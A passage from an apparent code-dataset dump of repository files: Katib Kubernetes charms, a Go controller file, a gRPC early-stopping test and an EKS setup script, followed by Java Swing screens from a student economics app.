[\"rbac.authorization.k8s.io\"],\n \"resources\": [\n \"roles\",\n \"rolebindings\",\n ],\n \"verbs\": [\"*\"],\n },\n ]\n }\n ]\n },\n \"containers\": [\n {\n \"name\": \"katib-controller\",\n \"command\": [\"./katib-controller\"],\n \"args\": [\n \"--webhook-port\",\n str(config[\"webhook-port\"]),\n \"--trial-resources=Job.v1.batch\",\n \"--trial-resources=TFJob.v1.kubeflow.org\",\n \"--trial-resources=PyTorchJob.v1.kubeflow.org\",\n \"--trial-resources=MPIJob.v1.kubeflow.org\",\n \"--trial-resources=PipelineRun.v1beta1.tekton.dev\",\n ],\n \"imageDetails\": {\n \"imagePath\": image_info.registry_path,\n \"username\": image_info.username,\n \"password\": image_info.password,\n },\n \"ports\": [\n {\"name\": \"webhook\", \"containerPort\": config[\"webhook-port\"]},\n {\"name\": \"metrics\", \"containerPort\": config[\"metrics-port\"]},\n ],\n \"envConfig\": {\n \"KATIB_CORE_NAMESPACE\": os.environ[\"JUJU_MODEL_NAME\"]\n },\n \"volumeConfig\": [\n {\n \"name\": \"cert\",\n \"mountPath\": \"/tmp/cert\",\n \"files\": [\n {\n \"path\": \"cert.pem\",\n \"content\": Path(\"/run/cert.pem\").read_text(),\n },\n {\n \"path\": \"key.pem\",\n \"content\": Path(\"/run/server.key\").read_text(),\n },\n ],\n }\n ],\n \"kubernetes\": {\"securityContext\": {\"runAsUser\": 0}},\n }\n ],\n },\n k8s_resources={\n \"kubernetesResources\": {\n \"customResourceDefinitions\": [\n {\"name\": crd[\"metadata\"][\"name\"], \"spec\": crd[\"spec\"]}\n for crd in yaml.safe_load_all(Path(\"files/crds.yaml\").read_text())\n ],\n \"mutatingWebhookConfigurations\": [\n {\n \"name\": \"katib-mutating-webhook-config\",\n \"webhooks\": [\n {\n \"name\": \"mutating.experiment.katib.kubeflow.org\",\n \"rules\": [\n {\n \"apiGroups\": [\"kubeflow.org\"],\n \"apiVersions\": [\"v1beta1\"],\n \"operations\": [\"CREATE\", \"UPDATE\"],\n \"resources\": [\"experiments\"],\n \"scope\": \"*\",\n }\n ],\n \"failurePolicy\": \"Fail\",\n \"clientConfig\": {\n \"service\": {\n \"name\": hookenv.service_name(),\n \"namespace\": namespace,\n \"path\": \"/mutate-experiments\",\n \"port\": config[\"webhook-port\"],\n },\n \"caBundle\": ca_bundle,\n },\n },\n {\n \"name\": \"mutating.pod.katib.kubeflow.org\",\n \"rules\": [\n {\n \"apiGroups\": [\"\"],\n \"apiVersions\": [\"v1\"],\n \"operations\": [\"CREATE\"],\n \"resources\": [\"pods\"],\n \"scope\": \"*\",\n }\n ],\n \"failurePolicy\": \"Ignore\",\n \"clientConfig\": {\n \"service\": {\n \"name\": hookenv.service_name(),\n \"namespace\": namespace,\n \"path\": \"/mutate-pods\",\n \"port\": config[\"webhook-port\"],\n },\n \"caBundle\": ca_bundle,\n },\n },\n ],\n }\n ],\n \"validatingWebhookConfigurations\": [\n {\n \"name\": \"katib-validating-webhook-config\",\n \"webhooks\": [\n {\n \"name\": \"validating.experiment.katib.kubeflow.org\",\n \"rules\": [\n {\n \"apiGroups\": [\"kubeflow.org\"],\n \"apiVersions\": [\"v1beta1\"],\n \"operations\": [\"CREATE\", \"UPDATE\"],\n \"resources\": [\"experiments\"],\n \"scope\": \"*\",\n }\n ],\n \"failurePolicy\": \"Fail\",\n \"sideEffects\": \"Unknown\",\n \"clientConfig\": {\n \"service\": {\n \"name\": hookenv.service_name(),\n \"namespace\": namespace,\n \"path\": \"/validate-experiments\",\n \"port\": config[\"webhook-port\"],\n },\n \"caBundle\": ca_bundle,\n },\n }\n ],\n }\n ],\n },\n \"configMaps\": {\n \"katib-config\": {\n f: Path(f\"files/{f}.json\").read_text()\n for f in (\n \"metrics-collector-sidecar\",\n \"suggestion\",\n \"early-stopping\",\n )\n },\n \"trial-template\": {\n f + suffix: Path(f\"files/{f}.yaml\").read_text()\n for f, suffix in (\n (\"defaultTrialTemplate\", \".yaml\"),\n (\"enasCPUTemplate\", \"\"),\n (\"pytorchJobTemplate\", \"\"),\n )\n },\n },\n },\n )\n\n layer.status.maintenance(\"creating container\")\n set_flag(\"charm.started\")\n" }, { "alpha_fraction": 0.6830065250396729, "alphanum_fraction": 0.6917211413383484, "avg_line_length": 26, "blob_id": "4c2c71de9458b291ba355df2b3c2698721bcae39", "content_id": "9f4670ba32c16e62069826685d57f4cd979b979f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Go", "length_bytes": 918, "license_type": "permissive", "max_line_length": 77, "num_lines": 34, "path": "/pkg/controller.v1beta1/trial/trial_controller_status.go", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "package trial\n\nimport (\n\t\"context\"\n\n\ttrialsv1beta1 \"github.com/kubeflow/katib/pkg/apis/controller/trials/v1beta1\"\n)\n\nconst (\n\t// For Trials\n\tTrialCreatedReason = \"TrialCreated\"\n\tTrialRunningReason = \"TrialRunning\"\n\tTrialSucceededReason = \"TrialSucceeded\"\n\tTrialMetricsUnavailableReason = \"MetricsUnavailable\"\n\tTrialFailedReason = \"TrialFailed\"\n\n\t// For Jobs\n\tJobCreatedReason = \"JobCreated\"\n\tJobDeletedReason = \"JobDeleted\"\n\tJobSucceededReason = \"JobSucceeded\"\n\tJobMetricsUnavailableReason = \"MetricsUnavailable\"\n\tJobFailedReason = \"JobFailed\"\n\tJobRunningReason = \"JobRunning\"\n)\n\ntype updateStatusFunc func(instance *trialsv1beta1.Trial) error\n\nfunc (r *ReconcileTrial) updateStatus(instance *trialsv1beta1.Trial) error {\n\terr := r.Status().Update(context.TODO(), instance)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n" }, { "alpha_fraction": 0.5727908611297607, "alphanum_fraction": 0.5848696827888489, "avg_line_length": 27.600000381469727, "blob_id": "03c6ab6a49e5f9ee30d1695411eac9e5805c01ec", "content_id": "75636ab311c23132fb058a118ec4af557253dce6", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1573, "license_type": "permissive", "max_line_length": 84, "num_lines": 55, "path": "/test/earlystopping/v1beta1/test_medianstop_service.py", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "import grpc\nimport grpc_testing\nimport unittest\n\nfrom pkg.apis.manager.v1beta1.python import api_pb2\n\nfrom pkg.earlystopping.v1beta1.medianstop.service import MedianStopService\n\n\nclass TestMedianStop(unittest.TestCase):\n def setUp(self):\n servicers = {\n api_pb2.DESCRIPTOR.services_by_name['EarlyStopping']: MedianStopService(\n )\n }\n\n self.test_server = grpc_testing.server_from_dictionary(\n servicers, grpc_testing.strict_real_time())\n\n def test_get_earlystopping_rules(self):\n\n # TODO (andreyvelich): Add more informative tests.\n trials = [\n api_pb2.Trial(\n name=\"test-asfjh\",\n ),\n api_pb2.Trial(\n name=\"test-234hs\",\n )\n ]\n\n experiment = api_pb2.Experiment(\n name=\"test\",\n )\n\n request = api_pb2.GetEarlyStoppingRulesRequest(\n experiment=experiment,\n trials=trials,\n db_manager_address=\"katib-db-manager.kubeflow:6789\"\n )\n\n get_earlystopping_rules = self.test_server.invoke_unary_unary(\n method_descriptor=(api_pb2.DESCRIPTOR\n .services_by_name['EarlyStopping']\n .methods_by_name['GetEarlyStoppingRules']),\n invocation_metadata={},\n request=request, timeout=1)\n\n response, metadata, code, details = get_earlystopping_rules.termination()\n\n self.assertEqual(code, grpc.StatusCode.OK)\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.7313731908798218, "alphanum_fraction": 0.7485800385475159, "avg_line_length": 44.34848403930664, "blob_id": "5a29e759705753a9261a396d3695bb59a98f159d", "content_id": "e293f9c616f8ca54797484586f43ef0a4d2bf989", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5986, "license_type": "permissive", "max_line_length": 195, "num_lines": 132, "path": "/test/scripts/v1beta1/setup-katib.sh", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Copyright 2020 The Kubeflow Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This shell script is used to setup Katib deployment.\n\nset -o errexit\nset -o nounset\nset -o pipefail\n\nCLUSTER_NAME=\"${CLUSTER_NAME}\"\nAWS_REGION=\"${AWS_REGION}\"\nECR_REGISTRY=\"${ECR_REGISTRY}\"\nVERSION=\"${PULL_BASE_SHA}\"\n\necho \"Start to install Katib\"\necho \"CLUSTER_NAME: ${CLUSTER_NAME}\"\necho \"AWS_REGION: ${AWS_REGION}\"\necho \"ECR_REGISTRY: ${ECR_REGISTRY}\"\necho \"VERSION: ${PULL_BASE_SHA}\"\n\necho \"Configuring kubeconfig..\"\naws eks update-kubeconfig --region=${AWS_REGION} --name=${CLUSTER_NAME}\nkubectl version\nkubectl cluster-info\n\n# Update images with current pull base sha.\necho \"Updating Katib images with current PR SHA: ${VERSION}\"\n# Katib controller\nsed -i -e \"s@image: docker.io/kubeflowkatib\\/katib-controller@image: ${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/katib-controller:${VERSION}@\" manifests/v1beta1/katib-controller/katib-controller.yaml\n\n# Metrics collector\nsed -i -e \"[email protected]/kubeflowkatib\\/file-metrics-collector@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/file-metrics-collector:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/tfevent-metrics-collector@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/tfevent-metrics-collector:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\n\n# Katib DB manager\nsed -i -e \"s@image: docker.io/kubeflowkatib\\/katib-db-manager@image: ${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/katib-db-manager:${VERSION}@\" manifests/v1beta1/db-manager/deployment.yaml\n\n# UI\nsed -i -e \"s@image: docker.io/kubeflowkatib\\/katib-ui@image: ${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/katib-ui:${VERSION}@\" manifests/v1beta1/ui/deployment.yaml\n\n# Cert generator\nsed -i -e \"s@image: docker.io/kubeflowkatib\\/cert-generator@image: ${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/cert-generator:${VERSION}@\" manifests/v1beta1/webhooks/cert-generator-job.yaml\n\n# Suggestion algorithms\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-enas@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-enas:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-hyperband@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-hyperband:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-chocolate@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-chocolate:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-hyperopt@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-hyperopt:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-skopt@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-skopt:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-goptuna@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-goptuna:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\nsed -i -e \"[email protected]/kubeflowkatib\\/suggestion-darts@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/suggestion-darts:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\n\n# Early stopping\nsed -i -e \"[email protected]/kubeflowkatib\\/earlystopping-medianstop@${ECR_REGISTRY}\\/${REPO_NAME}\\/v1beta1\\/earlystopping-medianstop:${VERSION}@\" manifests/v1beta1/katib-controller/katib-config.yaml\n\ncat manifests/v1beta1/katib-controller/katib-config.yaml\n\n# Update Trial template images in the examples.\n./scripts/v1beta1/update-trial-images.sh -p \"${ECR_REGISTRY}/${REPO_NAME}/v1beta1/trial-\" -t ${VERSION}\n\necho \"Creating Kubeflow namespace\"\nkubectl create namespace kubeflow\n\necho \"Deploying tf-operator from kubeflow/manifests master\"\ncd \"${MANIFESTS_DIR}/tf-training/tf-job-crds/base\"\nkustomize build . | kubectl apply -f -\ncd \"${MANIFESTS_DIR}/tf-training/tf-job-operator/base\"\nkustomize build . | kubectl apply -f -\n\necho \"Deploying pytorch-operator from kubeflow/manifests master\"\ncd \"${MANIFESTS_DIR}/pytorch-job/pytorch-job-crds/base\"\nkustomize build . | kubectl apply -f -\ncd \"${MANIFESTS_DIR}/pytorch-job/pytorch-operator/base/\"\nkustomize build . | kubectl apply -f -\n\necho \"Deploying Katib\"\ncd \"${GOPATH}/src/github.com/kubeflow/katib\"\nmake deploy\n\n# Wait until all Katib pods is running.\nTIMEOUT=120\nPODNUM=$(kubectl get deploy -n kubeflow | grep -v NAME | wc -l)\n# 1 Pod for the cert-generator Job\nPODNUM=$((PODNUM + 1))\nuntil kubectl get pods -n kubeflow | grep -E 'Running|Completed' | [[ $(wc -l) -eq $PODNUM ]]; do\n echo Pod Status $(kubectl get pods -n kubeflow | grep \"1/1\" | wc -l)/$PODNUM\n sleep 10\n TIMEOUT=$((TIMEOUT - 1))\n if [[ $TIMEOUT -eq 0 ]]; then\n echo \"NG\"\n kubectl get pods -n kubeflow\n exit 1\n fi\ndone\n\necho \"All Katib components are running.\"\necho \"Katib deployments\"\nkubectl -n kubeflow get deploy\necho \"Katib services\"\nkubectl -n kubeflow get svc\necho \"Katib pods\"\nkubectl -n kubeflow get pod\n\n# Check that Katib is working with 2 Experiments.\nkubectl apply -f test/e2e/v1beta1/valid-experiment.yaml\nkubectl delete -f test/e2e/v1beta1/valid-experiment.yaml\n\nset +o errexit\nkubectl apply -f test/e2e/v1beta1/invalid-experiment.yaml\nif [ $? -ne 1 ]; then\n echo \"Failed to create invalid-experiment: return code $?\"\n exit 1\nfi\n\n# Build the binary for e2e test\necho \"Building run-e2e-experiment for e2e test cases\"\ngo build -o run-e2e-experiment test/e2e/v1beta1/run-e2e-experiment.go\n\nexit 0\n" }, { "alpha_fraction": 0.43603745102882385, "alphanum_fraction": 0.43642744421958923, "avg_line_length": 25.989473342895508, "blob_id": "19efc84d3d123f20cdf681359c1ded94b60c490c", "content_id": "f3a12e66a086ebcee1611a4862181cf65f38876a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2564, "license_type": "permissive", "max_line_length": 85, "num_lines": 95, "path": "/operators/katib-ui/reactive/katib_ui.py", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "import os\n\nfrom charmhelpers.core import hookenv\nfrom charms import layer\nfrom charms.reactive import (\n clear_flag,\n endpoint_from_name,\n hook,\n set_flag,\n when,\n when_not,\n)\n\n\n@hook(\"upgrade-charm\")\ndef upgrade_charm():\n clear_flag(\"charm.started\")\n\n\n@when(\"charm.started\")\ndef charm_ready():\n layer.status.active(\"\")\n\n\n@when(\"layer.docker-resource.oci-image.changed\")\ndef update_image():\n clear_flag(\"charm.started\")\n\n\n@when(\"endpoint.service-mesh.joined\")\ndef configure_mesh():\n endpoint_from_name(\"service-mesh\").add_route(\n prefix=\"/katib/\", service=hookenv.service_name(), port=hookenv.config(\"port\")\n )\n\n\n@when(\"layer.docker-resource.oci-image.available\")\n@when_not(\"charm.started\")\ndef start_charm():\n if not hookenv.is_leader():\n hookenv.log(\"This unit is not a leader.\")\n return False\n\n layer.status.maintenance(\"configuring container\")\n\n image_info = layer.docker_resource.get_info(\"oci-image\")\n\n port = hookenv.config(\"port\")\n\n layer.caas_base.pod_spec_set(\n {\n \"version\": 2,\n \"serviceAccount\": {\n \"global\": True,\n \"rules\": [\n {\n \"apiGroups\": [\"\"],\n \"resources\": [\n \"configmaps\",\n \"namespaces\",\n ],\n \"verbs\": [\"*\"],\n },\n {\n \"apiGroups\": [\"kubeflow.org\"],\n \"resources\": [\n \"experiments\",\n \"trials\",\n \"suggestions\",\n ],\n \"verbs\": [\"*\"],\n },\n ]\n },\n \"containers\": [\n {\n \"name\": \"katib-ui\",\n \"command\": [\"./katib-ui\"],\n \"args\": [f\"--port={port}\"],\n \"imageDetails\": {\n \"imagePath\": image_info.registry_path,\n \"username\": image_info.username,\n \"password\": image_info.password,\n },\n \"ports\": [{\"name\": \"http\", \"containerPort\": port}],\n \"config\": {\n \"KATIB_CORE_NAMESPACE\": os.environ[\"JUJU_MODEL_NAME\"],\n },\n }\n ],\n }\n )\n\n layer.status.maintenance(\"creating container\")\n set_flag(\"charm.started\")\n" }, { "alpha_fraction": 0.7925373315811157, "alphanum_fraction": 0.7955223917961121, "avg_line_length": 46.85714340209961, "blob_id": "5cab36c95aa43f63f18599bbc4ce22e0a1be068c", "content_id": "3c418816a71d923008ba17655889b8c9813c435b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 670, "license_type": "permissive", "max_line_length": 78, "num_lines": 14, "path": "/pkg/metricscollector/v1beta1/common/const.py", "repo_name": "ktsakalozos/katib", "src_encoding": "UTF-8", "text": "# Default value for interval between running processes check\nDEFAULT_POLL_INTERVAL = 1\n# Default value for timeout before invoke error during running processes check\nDEFAULT_TIMEOUT = 0\n# Default value whether wait for all other main process of container exiting\nDEFAULT_WAIT_ALL_PROCESSES = \"True\"\n# Default value for directory where TF event metrics are reported\nDEFAULT_METRICS_FILE_DIR = \"/log\"\n# Job finished marker in $$$$.pid file when main process is completed\nTRAINING_COMPLETED = \"completed\"\n\n# UnavailableMetricValue is the value in the DB\n# when metrics collector can't parse objective metric from the training logs.\nUNAVAILABLE_METRIC_VALUE = \"unavailable\"\n" } ]
13
Novaes98/economics
https://github.com/Novaes98/economics
ee6837a206d1ed481864439b156244508ca8b85f
44067ac3f18a8c969372d0aaaa8f714db413d884
6c63af92b74b392597ade968be612144c39f09d1
refs/heads/master
2020-03-22T12:16:30.263754
2018-07-16T22:56:49
2018-07-16T22:56:49
140,029,699
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5808550119400024, "alphanum_fraction": 0.5808550119400024, "avg_line_length": 26.240507125854492, "blob_id": "7ec75c1bfed6ffb1f89c257cc0f39de6beee960d", "content_id": "f92cf42fb124b655b4cb20ba52b2d1af500e08c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2152, "license_type": "no_license", "max_line_length": 84, "num_lines": 79, "path": "/src/interfaceUsuario/TelaInicial.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario;\n\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport java.util.LinkedList;\n\nimport javax.swing.JButton;\nimport javax.swing.JFrame;\nimport javax.swing.JOptionPane;\n\npublic class TelaInicial extends FramePrincipal {\n\tprivate JButton botaoMicroeconomia;\n\tprivate JButton botaoMacroeconomia;\n\n\t/*******************************************************************************/\n\n\tpublic TelaInicial() {\n\t\tinitComponents();\n\t\tsetTitulo(\"Bem-vindo!\");\n\t\tvoltar.setText(\"Sair\");\n\t\tinitButtons();\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void initButtons() {\n\t\tbotaoMicroeconomia = new JButton();\n\t\tbotaoMicroeconomia.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tmicroEconomia(e);\n\t\t\t}\n\t\t});\n\t\tbotaoMicroeconomia.setText(\"Microeconomia\");\n\n\t\tbotaoMacroeconomia = new JButton();\n\t\tbotaoMacroeconomia.addActionListener(new ActionListener() {\n\t\t\t@Override\n\t\t\tpublic void actionPerformed(ActionEvent e) {\n\t\t\t\tmacroEconomia(e);\n\t\t\t}\n\t\t});\n\t\tbotaoMacroeconomia.setText(\"Macroeconomia\");\n\n\t\tLinkedList<JButton> botoes = new LinkedList<>();\n\t\tbotoes.add(botaoMicroeconomia);\n\t\tbotoes.add(botaoMacroeconomia);\n\t\tinsereBotoes(botoes);\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void microEconomia(ActionEvent e) {\n\t\tJFrame telaMicroeconomia = InterfaceController.controlaTelas(\"TelaMicroeconomia\");\n\t\ttelaMicroeconomia.setVisible(true);\n\t\tdispose();\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void macroEconomia(ActionEvent e) {\n\t\tJFrame telaMacroeconomia = InterfaceController.controlaTelas(\"TelaMacroeconomia\");\n\t\ttelaMacroeconomia.setVisible(true);\n\t\tdispose();\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprotected void voltar(javax.swing.event.MenuEvent evt) {\n\n\t\tJOptionPane.showMessageDialog(this, \"Obrigado e volte sempre! :)\");\n\n\t\tdispose();\n\t}\n\t/*******************************************************************************/\n\n}\n" }, { "alpha_fraction": 0.5569620132446289, "alphanum_fraction": 0.5569620132446289, "avg_line_length": 5.5, "blob_id": "da54e4cc9ad59f999af339182a8a4dedde5b849c", "content_id": "6f5cd24fe494a13b60f04168c22f855d9912991a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 79, "license_type": "no_license", "max_line_length": 20, "num_lines": 12, "path": "/README.md", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "Projeto de economia.\n\nPor :\nArthur Duram Um \n\nCaique Novaes \n\nKenny Hideo Takahashi \n\nMarcelo Henrique Ishizawa \n\nVictor Gomes de Oliveira Martins Nicola \n" }, { "alpha_fraction": 0.7675438523292542, "alphanum_fraction": 0.7675438523292542, "avg_line_length": 19.727272033691406, "blob_id": "8263eb248d7642fcc6efe6ee7f32dd64a77c6324", "content_id": "d1c457197bb0b8fa4d092baec420ba97b95b0943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 228, "license_type": "no_license", "max_line_length": 72, "num_lines": 11, "path": "/src/interfaceUsuario/Main.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario;\n\nimport javax.swing.JFrame;\n\npublic class Main {\n\n\tpublic static void main(String[] args) {\n\t\tJFrame telaInicial = InterfaceController.controlaTelas(\"TelaInicial\");\n\t\ttelaInicial.setVisible(true);\n\t}\n}\n" }, { "alpha_fraction": 0.666059672832489, "alphanum_fraction": 0.6786664724349976, "avg_line_length": 37.17647171020508, "blob_id": "427c213e987357014303263e6258e1dd223b5397", "content_id": "d212014592011913d04fa83046e5afb48a4cecea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 7140, "license_type": "no_license", "max_line_length": 112, "num_lines": 187, "path": "/src/interfaceUsuario/RendaNacional/TelaPib.java", "repo_name": "Novaes98/economics", "src_encoding": "UTF-8", "text": "package interfaceUsuario.RendaNacional;\n\nimport java.awt.Dimension;\nimport java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\n\nimport javax.swing.JButton;\nimport javax.swing.JFrame;\nimport javax.swing.JOptionPane;\nimport javax.swing.JScrollPane;\nimport javax.swing.JTextArea;\nimport javax.swing.JTextField;\n\nimport interfaceUsuario.FrameSecundario;\nimport interfaceUsuario.InterfaceController;\nimport interfaceUsuario.ValidacaoException;\nimport interfaceUsuario.Validador;\n\npublic class TelaPib extends FrameSecundario {\n\n\tprivate JTextField tfQtdProdutoA;\n\tprivate JTextField tfQtdProdutoB;\n\tprivate JTextField tfPrecoA;\n\tprivate JTextField tfPrecoB;\n\n\t/*******************************************************************************/\n\n\tpublic TelaPib() {\n\t\tinserirImagem(\"PIB.jpg\", width / 5 + 20, height / 3 + 19);\n\t\tinitComponents();\n\t\tsetTitulo(\"Calculo do Produto Interno Bruto (PIB)\");\n\t\tinicializaExtras();\n\t}\n\n\t/*******************************************************************************/\n\n\t@Override\n\tprotected void definirTexto() {\n\t\tthis.textoPrincipal = \"O Produto Interno Bruto (PIB) eh um indicador para medir a atividade economica de\\n\"\n\t\t\t\t+ \"um pais, podendo ser calculado pela soma de suas riquezas produzidas (empresas\\n\"\n\t\t\t\t+ \"nacionais e estrangeiras) ou pela ótiica da demanda, ou seja: quem compra\\n\"\n\t\t\t\t+ \"essas riquezas (consumo interno, do governo, investimentos e as importacoes\\n\"\n\t\t\t\t+ \"e exportacoes).\\n\\nO PIB nominal eh calculado a precos correntes, isto eh, no ano em que o produto\\n\"\n\t\t\t\t+ \"foi produzido e comercializado.\\n\"\n\t\t\t\t+ \"O PIB real eh calculado a precos constantes, sendo escolhido um ano base para\\n\"\n\t\t\t\t+ \"o calculo e assim eliminando o efeito da inflacao.\\n\\n\"\n\t\t\t\t+ \"O deflator do PIB eh uma forma de medir o nivel geral de precos, sendo obtido\\n\"\n\t\t\t\t+ \"a partir da divisao entre o PIB nominal e o PIB real multiplicado por cem.\\n\"\n\t\t\t\t+ \"Essa medida eh utilizada para estimar a valorizacao dos produtos em um\\n\"\n\t\t\t\t+ \"certo intervalo de tempo.\\n\\n\"\n\t\t\t\t+ \"Por exemplo, para calcular o PIB nominal de 2 bens, basta inserir a quantidade e o\\n\"\n\t\t\t\t+ \"preco de cada produto nos campos abaixo.\\n\"\n\t\t\t\t+ \"Para calcular o PIB real, multiplique a quantidade de cada ano pelo preco de um ano\\n\" + \"fixo\";\n\n\t}\n\n\t/*******************************************************************************/\n\n\tprivate void inicializaExtras() {\n\n\t\t// Insere textAreas\n\n\t\tString textoQtdProdutoA = \"Insira a quantidade do produto A \";\n\n\t\tJTextArea qtdProdutoA = txtGenerico(textoQtdProdutoA);\n\t\tDimension dQtdProdutoA = qtdProdutoA.getPreferredSize();\n\t\tJScrollPane panelQtdProdutoA = caixaDeTexto(qtdProdutoA, width / 8, height / 3 + 200, dQtdProdutoA.width + 10,\n\t\t\t\tdQtdProdutoA.height + 5);\n\t\tpanelQtdProdutoA.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelQtdProdutoA);\n\n\t\tString textoQtdProdutoB = \"Insira a quantidade do produto B\";\n\t\tJTextArea qtdProdutoB = txtGenerico(textoQtdProdutoB);\n\t\tJScrollPane panelQtdProdutoB = caixaDeTexto(qtdProdutoB, width / 8 + 300, height / 3 + 200,\n\t\t\t\tdQtdProdutoA.width + 10, dQtdProdutoA.height + 5);\n\t\tpanelQtdProdutoB.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelQtdProdutoB);\n\n\t\tString textoPrecoA = \"Insira um valor para o preco de A\";\n\n\t\tJTextArea precoA = txtGenerico(textoPrecoA);\n\t\tJScrollPane panelPrecoA = caixaDeTexto(precoA, width / 8, height / 3 + 300, dQtdProdutoA.width + 10,\n\t\t\t\tdQtdProdutoA.height + 5);\n\t\tpanelPrecoA.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelPrecoA);\n\n\t\tString textoPrecoFinal = \"Insira um valor para o preco de B\";\n\n\t\tJTextArea precoB = txtGenerico(textoPrecoFinal);\n\t\tJScrollPane panelPrecoB = caixaDeTexto(precoB, width / 8 + 300, height / 3 + 300, dQtdProdutoA.width + 10,\n\t\t\t\tdQtdProdutoA.height + 5);\n\t\tpanelPrecoB.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_NEVER);\n\t\tgetContentPane().add(panelPrecoB);\n\n\t\t// Insere TextFields\n\n\t\ttfQtdProdutoA = new JTextField();\n\t\ttfQtdProdutoA.setBounds(width / 8, height / 3 + 225, dQtdProdutoA.width + 10, dQtdProdutoA.height + 5);\n\t\ttfQtdProdutoA.setText(\"Digite um numero inteiro positivo\");\n\t\tgetContentPane().add(tfQtdProdutoA);\n\n\t\ttfQtdProdutoB = new JTextField();\n\t\ttfQtdProdutoB.setBounds(width / 8 + 300, height / 3 + 225, dQtdProdutoA.width + 10, dQtdProdutoA.height + 5);\n\t\ttfQtdProdutoB.setText(\"Digite um numero inteiro positivo\");\n\t\tgetContentPane().add(tfQtdProdutoB);\n\n\t\ttfPrecoA = new JTextField();\n\t\ttfPrecoA.setBounds(width / 8, height / 3 + 325, dQtdProdutoA.width + 10, dQtdProdutoA.height + 5);\n\t\ttfPrecoA.setText(\"Formato ##.## ou um inteiro positivo\");\n\t\tgetContentPane().add(tfPrecoA);\n\n\t\ttfPrecoB = new JTextField();\n\t\ttfPrecoB.setBounds(width / 8 + 300, height / 3 + 325, dQtdProdutoA.width + 10, dQtdProdutoA.height + 5);\n\t\ttfPrecoB.setText(\"Formato ##.## ou um inteiro positivo\");\n\n\t\tgetContentPane().add(tfPrecoB);\n\n\t\tJButton btnCalcular = new JButton(\"Calcular\");\n\t\tDimension d = btnCalcular.getPreferredSize();\n\t\tbtnCalcular.setBounds(width / 2 - 50, height / 3 + 450, 